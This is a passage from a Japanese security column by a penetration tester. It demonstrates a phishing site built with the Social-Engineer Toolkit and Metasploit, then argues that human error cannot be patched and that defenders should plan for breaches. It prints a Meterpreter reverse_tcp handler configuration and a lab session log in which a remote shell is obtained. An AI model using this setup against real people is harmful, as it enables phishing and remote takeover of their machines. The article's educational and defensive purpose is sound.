SETは、攻撃を行う部分についてはMetasploitと連携している。しばらくすると、以下のようにMetasploitが起動した後、プロンプトが返ってくるだろう。
[*] Generating x64-based powershell injection code... [*] Generating x86-based powershell injection code... --- SNIP--- , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| --- SNIP --- [*] Processing /pentest/exploits/set/src/program_junk/meta_config for ERB directives. resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handler resource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 443 LPORT => 443 resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession false ExitOnSession => false resource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j [*] Exploit running as background job. --- SNIP --- msf exploit(handler) >
これで完了である。こうして作成したフィッシングサイトにアクセスした画面は、画面10の通りである。どうだろうか。なかなかそれらしいものに仕上がっていると思うのだが。
想像してほしい。例えば、こうしたサイトにアクセスするよう促す、社内から送信されたように偽装されたメールが来たら、皆さんはどのように反応するだろうか(画面11)。おそらく、詐欺であることを見抜いて無視するのは難しいのではないだろうか。残念ながらこれが事実なのである。
さて、このポップアップの「実行」を押した後の、SET側の挙動を見てみよう。
[*] Meterpreter session 1 opened (192.168.0.41:443 -> 192.168.0.26:64524) at 2012-03-25 05:54:38 +0900 (1) Process 3048 created. Channel 1 created. msf exploit(handler) > sessions -l (2) Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 DIAG-WINXP-JP\Administrator @ DIAG-WINXP-JP 192.168.0.41:443 -> 192.168.0.26:64524 (192.168.0.26) (3) msf exploit(handler) > sessions -i 1 (4) [*] Starting interaction with 1... meterpreter > shell (5) Process 2344 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\デスクトップ> (1)攻撃が成功しリバースコネクトによりターゲットコンピュータとの接続が確立 (2) meterpreterコマンド「sessions」を実行して現在の接続を表示。 (3)現在のアクティブな接続((1)の接続が表示されている。複数の接続を管理可能。) (4)使用する接続を選択 (5)ターゲットコンピュータのシェルを使う
上記のように、ターゲットコンピュータのシェルを奪うことに成功している。リモートから任意のコードを実行できてしまう状態だ。
このように、「Credential Harvester Attack Method」を使った場合は、受け取ったユーザーが疑いを持たず、情報を送信してしまえば一巻の終わり。「Java Applet Attack Method」でも、ユーザーが表示に疑いを持たず、「実行」をクリックしてしまえば一巻の終わりである。どちらをたどっても「バッドエンド」というシナリオだ。
しかも、ここまで説明してくればお分かりのように、一連の攻撃ではテクニカルな脆弱性などは一切利用していない。つまり、セキュリティに関する修正プログラムをすべて適用し、システムを最新に保ってセキュリティ対策を実施していても、影響を受けてしまうということである。この手口は、OSやアプリケーション、そのバージョンには依存しないため、特定の脆弱性を利用する攻撃に比べ、影響を受ける範囲も広いともいえる。
さて、今回の記事はいかがだっただろうか。ここまでの説明で、攻撃を行う仕組みさえ用意してしまえば、いとも簡単にフィッシングサイトを構築でき、情報を盗み取ったり、リモートから制御できてしまうことはお分かりいただけたと思う。
今回特に強調したいのは、この手口が、「人」というセキュリティホールを利用していることだ。パッチの適用などで対処できるテクニカルな脆弱性とは異なり、「人」というセキュリティホールにつけ込むこのような手口なら、やり方次第でいくらでも成功に導くことができるだろう。なお、前回の記事でも「人」というセキュリティホールについて紹介した。ぜひとも、この記事と併せて読んでいただきたい。
【関連記事】
セキュリティ・ダークナイト(9) 攻撃はまるでレーザービーム(@IT Security&Trust)
http://www.atmarkit.co.jp/fsecurity/rensai/dknight08/dknight01.html
こうした攻撃のターゲットは「人」である。時間が経ったからといって、修正プログラムがリリースされるようなことはない。従って、攻撃を成功させない、俗にいう「やられないようにする」という意味での防御において、「人」というのはあまりに大きな不確定要素である。
一方で、標的型攻撃対策として、人に対する「教育」「訓練」の必要性を叫ぶ向きがあるようだ。
確かに、「最低でもここまではやっておくべき」というレベルを示し、セキュリティ対策の底上げ、気付きを与えるという意味で、教育や訓練は必要だろう。現時点での攻撃に対する防御力や耐性を知るという意味でも有用かもしれない。
しかし、教育や訓練だけで防御力や耐性は上がる、という意識を持って取り組むべきではない。「人」という要素は曖昧(あいまい)であるがゆえに、結果も曖昧(あいまい)なものになってしまうのである。
前回も触れたが、標的型攻撃対策として、送られてきたメール本文にあるリンクや添付されたファイルを開かないようにする。あるいは開く確率(人数)を下げるという訓練をしたところで、訓練では開かなかった人が、本当の攻撃のときに開かないとはいいきれない。もちろん逆も然りである。
また、「訓練を重ねることで引っかかる人数が減る」ことを訓練の効果として報告する場合がある。だが、100人の人間がいる組織で「1人が引っかかった」という結果と、「10人が引っかかった」という結果とでは、前者のほうが安全だといえるのだろうか。言い方を変えると、前者は後者よりも評価されるべきなのだろうか。もちろん筆者は違うと考えている。そもそも、比較すること自体ナンセンスであるとさえ思っている。
感じ方は人それぞれだろう。例えば、前者の10人が引っかかったケースでは、引っかかったのは全員一般社員だったのに対し、1人が引っかかったほうは、あいにく社長もしくは情報システム管理者だったとしよう。この場合危険なのは後者だと、筆者は考える。なぜなら後者のアカウントは、前者のそれに比べ、アクセスできる情報の範囲が圧倒的に大きく、被害も大きい可能性が高いと考えられるからだ。
もちろん、いくつかのアカウントを乗っ取ってから権限の高いアカウントを乗っ取るという考え方もあるだろう。しかし、それはどのアカウントにも言えることであり、一次的な被害という意味では、やはり権限の高いものを乗っ取られることによるインパクトが大きいと考えられる。
乗っ取ったアカウントが多い分、アクセスできる情報も多くなると考えられるかもしれない。だが、10個の一般ユーザーアカウントと1個の管理者アカウントとでは、どちらが多くの情報にアクセスできるだろうか。
結局、数だけでは曖昧(あいまい)で危険性を測ることができない。メールやリンクを開く数や確率だけで評価できるものではない、ということに気付いてほしい。
現在の攻撃者は、金銭搾取や愛国心といったはっきりとした目的を持って攻撃を仕掛けてくる。そのモチベーションは相当高いと想像できる。目的を達成するためには、手を変え、品を変えて何度もやってくるだろう。
今回紹介したような、小手先のフィッシング手法でもそれなりの効果を生むだろう。基本的な注意事項は、「怪しいファイルは開かない」「怪しいサイトにアクセスしない」ということに尽きるが、その「怪しいかどうか」の判断を下すことこそ難しいのだ。毎日何十、何百とやりとりしているメール1つ1つについて、いちいち考え込むわけにもいかないだろう。
ましてや、目的を持って何度も繰り返しやってくる攻撃となればなおさらだ。とどのつまり、「やられるときはやられる」のである。皆さんも、数々の組織が「やられた」ケースを見ているはずだ。
そろそろ、「やられないようにする」「やられる確率を0%にする」、という考え方から離れるべき時期が来ているように思う。いや、遅いくらいだと考えるほうがいいかもしれない。
もちろん、「やられない」に越したことはない。だが、現実を無視して「絶対にやられたらダメだ!」と、できもしない目標を掲げる代わりに、「やられてしまったとき」「入られてしまったとき」の対策に目を向けてほしい。防げない部分は潔くあきらめ、ほかの部分でできることを考えるべきではないだろうか。
4月3日、不正アクセス禁止法の改正案が成立した。フィッシングが法律で禁止されるということは、理由はどうであれ、踏み込むと罰を与えられる領域になったということである。しかし、攻撃を行ってくるものにはその理屈は通用しない、ということを忘れないでほしい。
もちろん、今回の改正が、フィッシング詐欺に対するそれなりの抑止力として働くことが期待される。
しかし、インターネットの世界においては、サービスもその利用者も国境をまたいでいる。そこにつけ込む攻撃者のような人間も、また同じだ。だが、法律が国をまたぐことは容易ではない。
従って筆者は、残念ながら、今回の改正が即フィッシング撲滅にはつながらないだろうと考える。インターネット利用者の安全や安心のために、法律が整備されていくことは非常に大切なことだ。だが、それだけでは自分たちを守ることにはならない。国境という概念が極めて希薄なインターネットという空間においてはなおさらだ。
どのような状況であれ、「自衛」は常に必要である。攻撃から身を守り、被害を最小限に抑えることの第一歩は、相手のこと、攻撃者の手口を少しでも理解する必要があると筆者は考えている。今回の記事が、さまざまな攻撃手法を知り、攻撃者のやり口を理解するきっかけになれば幸いだ。
ただし、フリードリヒ・ニーチェの「善悪の彼岸」の一節にもある警句を忘れないでほしい――怪物と闘う者は、その過程で自らが怪物と化さぬよう心せよ。おまえが長く深淵を覗くならば、深淵もまた等しくおまえを見返すのだ。
辻 伸弘(つじ のぶひろ)
セキュリティエンジニアとして、主にペネトレーション検査などに従事している。
民間企業、官公庁問わず多くの検査実績を持つ。
自宅では、趣味としてのハニーポットの運用、IDSによる監視などを行っている。
▼辻氏のブログ「(n)」: http://n.pentest.jp/
▼辻氏のTwitter: http://twitter.com/ntsuji
Copyright © ITmedia, Inc. All Rights Reserved.